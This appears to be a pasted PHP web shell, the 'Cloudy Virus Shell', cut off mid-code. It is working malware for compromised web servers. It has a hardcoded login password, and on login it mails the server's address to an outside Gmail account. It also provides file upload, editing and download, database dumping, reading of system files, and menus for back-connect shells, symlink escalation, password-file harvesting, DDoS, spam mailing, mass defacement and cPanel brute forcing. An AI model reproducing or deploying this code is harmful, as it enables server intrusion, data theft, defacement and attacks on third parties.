· 9 years ago · Nov 21, 2016, 02:42 PM
1?><?php error_reporting(7); @set_magic_quotes_runtime(0); ob_start(); $mtime = explode(' ', microtime()); $starttime = $mtime[1] + $mtime[0]; define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/'); define('IS_WIN', DIRECTORY_SEPARATOR == '\\'); define('IS_COM', class_exists('COM') ? 1 : 0 ); define('IS_GPC', get_magic_quotes_gpc()); $dis_func = get_cfg_var('disable_functions'); define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 ); @set_time_limit(0); foreach(array('_GET','_POST') as $_request) { foreach($$_request as $_key => $_value) { if ($_key{0} != '_') { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } } } $admin = array(); $admin['check'] = true; $admin['pass'] = 'fuck'; $admin['cookiepre'] = ''; $admin['cookiedomain'] = ''; $admin['cookiepath'] = '/'; $admin['cookielife'] = 86400; if ($charset == 'utf8') { header("content-Type: text/html; charset=utf-8"); } elseif ($charset == 'big5') { header("content-Type: text/html; charset=big5"); } elseif ($charset == 'gbk') { header("content-Type: text/html; charset=gbk"); } elseif ($charset == 'latin1') { header("content-Type: text/html; charset=iso-8859-2"); } $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $timestamp = time(); if ($action == "logout") { scookie('vbapass', '', -86400 * 365); p('<meta http-equiv="refresh" content="0;URL='.$self.'">'); p('<body background=black>'); exit; } if($admin['check']) { if ($doing == 'login') { if ($admin['pass'] == $password) { scookie('vbapass', $password); $time_shell = "".date("d/m/Y - H:i:s").""; $ip_remote = $_SERVER["REMOTE_ADDR"]; $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).''; $to_email = 'noname192425@gmail.com'; $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST'].""; $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell"; $header = "From: $from_shellcode\r\nReply-to: $from_shellcode"; @mail($to_email, $server_mail, $linkcr, $header); p('<meta http-equiv="refresh" content="2;URL='.$self.'">'); p('<body bgcolor=black>
2<BR><BR><ul class="loader">
3 <li>
4 <div class="circle"></div>
5 <div class="ball"></div>
6 </li>
7 <li>
8 <div class="circle"></div>
9 <div class="ball"></div>
10 </li>
11 <li>
12 <div class="circle"></div>
13 <div class="ball"></div>
14 </li>
15 <li>
16 <div class="circle"></div>
17 <div class="ball"></div>
18 </li>
19 <li>
20 <div class="circle"></div>
21 <div class="ball"></div>
22 </li>
23</ul>
24
25<style>
26.loader {
27 width: 250px;
28 height: 50px;
29 position: absolute;
30 top: 50%;
31 left: 50%;
32 margin: -25px -125px;
33 list-style-type: none;
34}
35
36.loader li {
37 float: left;
38 position: relative;
39}
40
41.circle {
42 width: 40px;
43 height: 40px;
44 border-radius: 0 0 50% 50%;
45 border: 4px solid #fff;
46 border-top: 0;
47 border-left: 0;
48 border-right: 0;
49}
50
51.ball {
52 position: absolute;
53 content: "";
54 width: 20px;
55 height: 20px;
56 top: 50%;
57 left: 50%;
58 margin-top: -10px;
59 margin-left: -10px;
60 border-radius: 100%;
61 background: #fff;
62 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
63}
64
65.circle {
66 -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
67 animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
68}
69
70.ball {
71 -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
72 animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
73}
74
75.loader li:nth-child(1) div {
76 -webkit-animation-delay: 100ms;
77 animation-delay: 100ms;
78}
79
80.loader li:nth-child(2) div {
81 -webkit-animation-delay: 200ms;
82 animation-delay: 200ms;
83}
84
85.loader li:nth-child(3) div {
86 -webkit-animation-delay: 300ms;
87 animation-delay: 300ms;
88}
89
90.loader li:nth-child(4) div {
91 -webkit-animation-delay: 400ms;
92 animation-delay: 400ms;
93}
94
95.loader li:nth-child(5) div {
96 -webkit-animation-delay: 500ms;
97 animation-delay: 500ms;
98}
99
100@keyframes rotate {
101 0%, 20% {
102 transform: rotate(0deg);
103 }
104 100% {
105 transform: rotate(360deg);
106 }
107}
108
109@-webkit-keyframes rotate {
110 0%, 20% {
111 -webkit-transform: rotate(0deg);
112 }
113 100% {
114 -webkit-transform: rotate(360deg);
115 }
116}
117
118@keyframes fall {
119 0%, 20% {
120 transform: translatey(-30px);
121 opacity: 0;
122 }
123 20%,
124 24%,
125 27%,
126 30%,
127 50%,
128 75% {
129 transform: translatey(0px);
130 opacity: 1;
131 }
132 22% {
133 transform: translatey(-10px)
134 }
135 25% {
136 transform: translatey(-6px)
137 }
138 28% {
139 transform: translatey(-2px)
140 }
141 30% {
142 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
143 }
144 75%,
145 100% {
146 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
147 transform: translatey(30px);
148 opacity: 0;
149 }
150}
151
152@-webkit-keyframes fall {
153 0%, 20% {
154 -webkit-transform: translatey(-30px);
155 opacity: 0;
156 }
157 20%,
158 24%,
159 27%,
160 30%,
161 50%,
162 75% {
163 -webkit-transform: translatey(0px);
164 opacity: 1;
165 }
166 22% {
167 -webkit-transform: translatey(-10px)
168 }
169 25% {
170 -webkit-transform: translatey(-6px)
171 }
172 28% {
173 -webkit-transform: translatey(-2px)
174 }
175 30% {
176 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
177 }
178 75%,
179 100% {
180 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
181 -webkit-transform: translatey(30px);
182 opacity: 0;
183 }
184}
185</style>'); exit; } else { $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>'; echo $err_mess; }} if ($_COOKIE['vbapass']) { if ($_COOKIE['vbapass'] != $admin['pass']) { loginpage(); } } else { loginpage(); } } $errmsg = ''; if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); } else { $errmsg = 'phpinfo() function has non-permissible'; } } if ($doing == 'downfile' && $thefile) { if (!@file_exists($thefile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); exit; } } if ($doing == 'backupmysql' && !$saveasfile) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $table = array_flip($table); $result = q("SHOW tables"); if (!$result) p('<h2>'.mysql_error().'</h2>'); $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); header('Content-type: application/unknown'); header('Content-Disposition: attachment; filename='.$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit; } if($doing=='mysqldown'){ if (!$dbname) { $errmsg = 'Please input dbname'; } else { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $result = q("select load_file('$mysqldlfile');"); if(!$result){ q("DROP TABLE IF EXISTS tmp_angel;"); q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); $result = q("select content from tmp_angel"); q("DROP TABLE tmp_angel"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = 'Load file failed '.mysql_error(); } else { $fileinfo = pathinfo($mysqldlfile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; exit; } } } } ?>
186<html>
187<meta name="robots" content="noindex">
188<head>
189<meta http-equiv="Content-Type" content="text/html; charset=gbk">
190<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
191<script type="text/javascript" language="javascript">
192<!--
193ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
194MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
195OT="";
196for(j=0;j<MI.length;j++){
197OT+=ML.charAt(MI.charCodeAt(j)-48);
198}document.write(OT);
199// --></script>
200 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
201 <tr class="alt1">
202 <style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>
203 <td width=10%><style>
204 @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);
205/* Starter CSS for Menu */
206#cssmenu {
207 padding: 0;
208 margin: 0;
209 border: 0;
210 width: auto;
211}
212#cssmenu ul,
213#cssmenu li {
214 list-style: none;
215 margin: 0;
216 padding: 0;
217}
218#cssmenu ul {
219 position: relative;
220 z-index: 597;
221}
222#cssmenu ul li {
223 float: left;
224 min-height: 1px;
225 vertical-align: middle;
226}
227#cssmenu ul li.hover,
228#cssmenu ul li:hover {
229 position: relative;
230 z-index: 599;
231 cursor: default;
232}
233#cssmenu ul ul {
234 visibility: hidden;
235 position: absolute;
236 top: 100%;
237 left: 0;
238 z-index: 598;
239 width: 100%;
240}
241#cssmenu ul ul li {
242 float: none;
243}
244#cssmenu ul ul ul {
245 top: 0;
246 left: 190px;
247 width: 190px;
248}
249#cssmenu ul li:hover > ul {
250 visibility: visible;
251}
252#cssmenu ul ul {
253 bottom: 0;
254 left: 0;
255}
256#cssmenu ul ul {
257 margin-top: 0;
258}
259#cssmenu ul ul li {
260 font-weight: normal;
261}
262#cssmenu a {
263 display: block;
264 line-height: 1em;
265 text-decoration: none;
266}
267/* Custom CSS Styles */
268#cssmenu {
269 background: #333333;
270 border-bottom: 4px solid #1b9bff;
271 font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
272 font-size: 12px;
273}
274#cssmenu > ul {
275 *display: inline-block;
276}
277#cssmenu:after,
278#cssmenu ul:after {
279 content: '';
280 display: block;
281 clear: both;
282}
283#cssmenu ul {
284 text-transform: uppercase;
285}
286#cssmenu ul ul {
287 border-top: 4px solid #1b9bff;
288 text-transform: none;
289 min-width: 190px;
290}
291#cssmenu ul ul a {
292 background: #1b9bff;
293 color: #ffffff;
294 border: 1px solid #0082e7;
295 border-top: 0 none;
296 line-height: 150%;
297 padding: 16px 20px;
298 font-size: 12px;
299}
300#cssmenu ul ul ul {
301 border-top: 0 none;
302}
303#cssmenu ul ul li {
304 position: relative;
305}
306#cssmenu ul ul li:first-child > a {
307 border-top: 1px solid #0082e7;
308}
309#cssmenu ul ul li:hover > a {
310 background: #4eb1ff;
311 color: #ffffff;
312}
313#cssmenu ul ul li:last-child > a {
314 -moz-border-radius: 0 0 3px 3px;
315 -webkit-border-radius: 0 0 3px 3px;
316 border-radius: 0 0 3px 3px;
317 -moz-background-clip: padding;
318 -webkit-background-clip: padding-box;
319 background-clip: padding-box;
320 -moz-box-shadow: 0 1px 0 #1b9bff;
321 -webkit-box-shadow: 0 1px 0 #1b9bff;
322 box-shadow: 0 1px 0 #1b9bff;
323}
324#cssmenu ul ul li:last-child:hover > a {
325 -moz-border-radius: 0 0 0 3px;
326 -webkit-border-radius: 0 0 0 3px;
327 border-radius: 0 0 0 3px;
328 -moz-background-clip: padding;
329 -webkit-background-clip: padding-box;
330 background-clip: padding-box;
331}
332#cssmenu ul ul li.has-sub > a:after {
333 content: '+';
334 position: absolute;
335 top: 50%;
336 right: 15px;
337 margin-top: -8px;
338}
339#cssmenu ul li:hover > a,
340#cssmenu ul li.active > a {
341 background: #1b9bff;
342 color: #ffffff;
343}
344#cssmenu ul li.has-sub > a:after {
345 content: '+';
346 margin-left: 5px;
347}
348#cssmenu ul li.last ul {
349 left: auto;
350 right: 0;
351}
352#cssmenu ul li.last ul ul {
353 left: auto;
354 right: 99.5%;
355}
356#cssmenu a {
357 background: #333333;
358 color: #CBCBCB;
359 padding: 0 20px;
360}
361#cssmenu > ul > li > a {
362 line-height: 48px;
363 font-size: 12px;
364}
365input, textarea, button
366{
367 font-size: 11pt;
368 color: white;
369 font-family: verdana, sans-serif;
370 background-color: rgba(255, 0, 0, 0.61);
371 border-left: 2px dashed #74A202;
372 border-top: 2px dashed #74A202;
373 border-right: 2px dashed #74A202;
374 border-bottom: 2px dashed #74A202;
375}
376 </style>
377 <html>
378<head>
379<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
380<link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" />
381<title>.:: Cloudy Virus Shell ::. </title>
382<style type="text/css">
383*{margin:0;padding:0}
384#Cloudy Virus {
385position:fixed;
386top:0;left:0;
387width:100%;height:100%;
388z-index:-1;
389}
390body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;
391background-attachment: fixed;
392font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
393
394a {color: #00FF7F;text-decoration:none;}
395a:hover{color: yellow;text-decoration:underline;}
396.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
397.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
398.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
399.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
400.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
401.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
402.head_small td{
403font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
404.head td span{font-weight:normal;}
405form{margin:0;padding:0;}
406h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
407ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
408u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
409input, textarea, button
410{
411 font-size: 9pt;
412 color: #FFF;
413 font-family: verdana, sans-serif;
414 background-color: rgba(255, 0, 0, 0.61);
415 border-left: 1px solid #74A202;
416 border-top: 1px solid #74A202;
417 border-right: 1px solid #74A202;
418 border-bottom: 1px solid #74A202;
419}
420select
421{
422 font-size: 8pt;
423 font-weight: normal;
424 color: #ccc;
425 font-family: verdana, sans-serif;
426 background-color: #202020;
427}
428
429 @-webkit-keyframes tnkss{
430 1% {opacity: 0.0;}
431 25% {opacity: 0.3;}
432 50% {opacity: 0.1;}
433 75% {opacity: 0.7;}
434 100 {opacity: 1;}
435 }
436</style>
437<script type="text/javascript">
438function CheckAll(form) {
439 for(var i=0;i<form.elements.length;i++) {
440 var e = form.elements[i];
441 if (e.name != 'chkall')
442 e.checked = form.chkall.checked;
443 }
444}
445function $(id) {
446 return document.getElementById(id);
447}
448function goaction(act){
449 $('goaction').action.value=act;
450 $('goaction').submit();
451}
452</script>
453</head>
454<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
455<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
456 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
457 <tr>
458 <td align="center" valign=center>
459 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
460 Waiting....<img src="http://publication.ida.org.in/images/loading.gif">
461 </div>
462 </td>
463 </tr>
464 </table>
465</div>
466 <script>
467 var ld=(document.all);
468 var ns4=document.layers;
469 var ns6=document.getElementById&&!document.all;
470 var ie4=document.all;
471 if (ns4)
472 ld=document.loading;
473 else if (ns6)
474 ld=document.getElementById("loading").style;
475 else if (ie4)
476 ld=document.all.loading.style;
477 function init()
478 {
479 if(ns4){ld.visibility="hidden";}
480 else if (ns6||ie4) ld.display="none";
481 }
482 </script>
483
484
485
486
487<table width="100%" border="0" cellpadding="0" cellspacing="0">
488 <tr class="head_small">
489 <td width=100%>
490 <table width=100%><tr class="head_small"><td width=86px><a title="Cloudy Virus Shell" href="<?php $self;?>"><img src= https://scontent-lhr3-1.xx.fbcdn.net/hprofile-xpl1/v/t1.0-1/c30.13.160.160/p200x200/12804869_668999746574572_8906114044265276233_n.jpg?oh=5fa21ba27ad6abd8298d2705c24eedff&oe=577B2653></a></td><td>
491 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/profile.php?id=100011074965700" target="_blank"><?php echo str_replace('.','','Cloudy Virus');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
492
493 <?php $curl_on = @function_exists('curl_version'); $mysql_on = @function_exists('mysql_connect'); $mssql_on = @function_exists('mssql_connect'); $pg_on = @function_exists('pg_connect'); $ora_on = @function_exists('ocilogon'); echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - ")); echo "PHP version: <b>".@phpversion()."</b> - "; echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - ")); echo "MySQL: <b>"; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; } echo "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";} echo "PostgreSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";} echo "Oracle: <b>"; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";} echo "Disable functions : <b>"; if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";} echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>"; echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>"; echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>"; ?>
494 </td></tr></table></td>
495 </tr>
496 <tr class="alt1">
497 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
498
499 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
500 <tr class="alt1">
501 <td width=10%><style>
502 #abt-nav,#abt-nav ul {
503 list-style: none outside none;
504 margin: 0;
505 padding: 0;
506}
507#abt-nav {
508 background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');
509 clear: both;
510 font-size: 12px;
511 height: 45px;
512 padding: 0 0 0 15px;
513 position: relative;
514 width: 100%;
515}
516#abt-nav ul {
517 background-color: #222;
518 border:1px solid #222;
519 border-radius: 0 5px 5px 5px;
520 border-width: 0 1px 1px;
521 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
522 left: -9999px;
523 overflow: hidden;
524 position: absolute;
525 top: -9999px;
526 z-index: 2;
527 -moz-transform: scaleY(0);
528 -ms-transform: scaleY(0);
529 -o-transform: scaleY(0);
530 -webkit-transform: scaleY(0);
531 transform: scaleY(0);
532 -moz-transform-origin: 0 0;
533 -ms-transform-origin: 0 0;
534 -o-transform-origin: 0 0;
535 -webkit-transform-origin: 0 0;
536 transform-origin: 0 0;
537 -moz-transition: -moz-transform 0.1s linear;
538 -ms-transition: -ms-transform 0.1s linear;
539 -o-transition: -o-transform 0.1s linear;
540 -webkit-transition: -webkit-transform 0.1s linear;
541 transition: transform 0.1s linear;
542}
543#abt-nav li {
544 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
545 float: left;
546 position: relative;
547}
548#abt-nav li a {
549 color: #FFFFFF;
550 display: block;
551 float: left;
552 font-weight: normal;
553 height: 30px;
554 padding: 23px 20px 0;
555 position: relative;
556 text-decoration: none;
557 text-shadow: 1px 1px 1px #000000;
558}
559#abt-nav li:hover > a {
560 color: #00B4FF;
561}
562#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
563 background: none repeat scroll 0 0 #121212;
564 outline: 0 none;
565}
566#abt-nav li:hover ul.subs {
567 left: 0;
568 top: 53px;
569 width: 180px;
570 -moz-transform: scaleY(1);
571 -ms-transform: scaleY(1);
572 -o-transform: scaleY(1);
573 -webkit-transform: scaleY(1);
574 transform: scaleY(1);
575}
576#abt-nav ul li {
577 background: none;
578 width: 100%;
579}
580#abt-nav ul li a {
581 float: none;
582}
583#abt-nav ul li:hover > a {
584 background-color: #121212;
585 color: #00B4FF;
586}
587
588#lavalamp {
589 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
590 height: 16px;
591 left: 13px;
592 position: absolute;
593 top: 0px;
594 width: 64px;
595 -moz-transition: all 300ms ease;
596 -ms-transition: all 300ms ease;
597 -o-transition: all 300ms ease;
598 -webkit-transition: all 300ms ease;
599 transition: all 300ms ease;
600}
601
602#lavalamp:hover {
603 -moz-transition-duration: 3000s;
604 -ms-transition-duration: 3000s;
605 -o-transition-duration: 3000s;
606 -webkit-transition-duration: 3000s;
607 transition-duration: 3000s;
608}
609
610#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
611 left: 17px;
612}
613#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
614 left: 103px;
615}
616#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
617 left: 178px;
618}
619#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
620 left: 262px;
621}
622#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
623 left: 344px;
624}
625#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
626 left: 425px;
627}
628#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
629 left: 522px;
630}
631#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
632 left: 615px;
633}
634#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
635 left: 705px;
636}
637#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
638 left: 795px;
639}
640#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
641 left: 900px;
642}
643#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
644 left: 1005px;
645}
646#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
647 left: 1100px;
648}
649#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
650 left: 1190px;
651}
652#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
653 left: 1287px;
654}
655#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
656 left: 1377px;
657}
658#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
659 left: 1475px;
660}
661#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
662 left: 195px;
663}
664#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
665 left: 1610px;
666}
667 </style>
668 <ul id="abt-nav">
669 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
670 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
671 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
672 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
673 <ul class="subs">
674 <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>
675 <li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>
676 <li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>
677 <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>
678 </ul>
679 </li>
680
681
682 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
683 <ul class="subs">
684 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
685 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
686 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>
687 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>
688 <li><a href="javascript:goaction('reverseip');">Reverse IP</a></li>
689 </ul>
690
691 </li>
692 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
693 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
694 <ul class="subs">
695 <li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>
696 <li><a href="javascript:goaction('symroot');">Symlink</a></li>
697 </ul>
698 </li>
699 <li><a href="javascript:goaction('ddosv2');"><font color=#FF8C00>DDos V2</font></a></li>
700 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
701 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
702 <ul class="subs">
703 <li><a href="javascript:goaction('mass');">With Root</a></li>
704 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
705
706
707 </ul>
708 </li>
709 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
710 <ul class="subs">
711 <li><a href="javascript:goaction('newcommand');">Command</a></li>
712 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
713 </ul></li>
714 <li><a href="javascript:goaction('Cloudy Virus');"><font color=#FF69B4>Deface</font></a></li>
715 <li><a href="#;"><font color=#ADFF2F>Back</font></a>
716 <ul class="subs">
717 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
718 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
719 </ul>
720
721 </li>
722 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
723 <ul class="subs">
724 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
725 </ul>
726 </li>
727 <li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>
728
729 <div id="lavalamp"></div>
730</ul>
731
732 </td>
733 </tr>
734</table>
735<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
736<?php formhead(array('name'=>'goaction')); makehide('action'); formfoot(); $errmsg && m($errmsg); !$dir && $dir = '.'; $nowpath = getPath(SA_ROOT, $dir); if (substr($dir, -1) != '/') { $dir = $dir.'/'; } $uedir = ue($dir); if (!$action || $action == 'file') { $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; if ($doing == 'deldir' && $thefile) { if (!file_exists($thefile)) { m($thefile.' directory does not exist'); } else { m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); } } elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m('Directory has already existed'); } else { m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); @chmod($mkdirs,0777); } } elseif ($doupfile) { m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); } elseif ($editfilename && $filecontent) { $fp = @fopen($editfilename,'w'); m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); @fclose($fp); } elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m('The original file does not exist'); } else { $newperm = base_convert($newperm,8,10); m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); } } elseif ($oldname && $newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname.' has already existed or original file does not exist'); } else { m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); } } elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m('The goal file has already existed or original file does not exist'); } else { m(basename($tofile).' copied 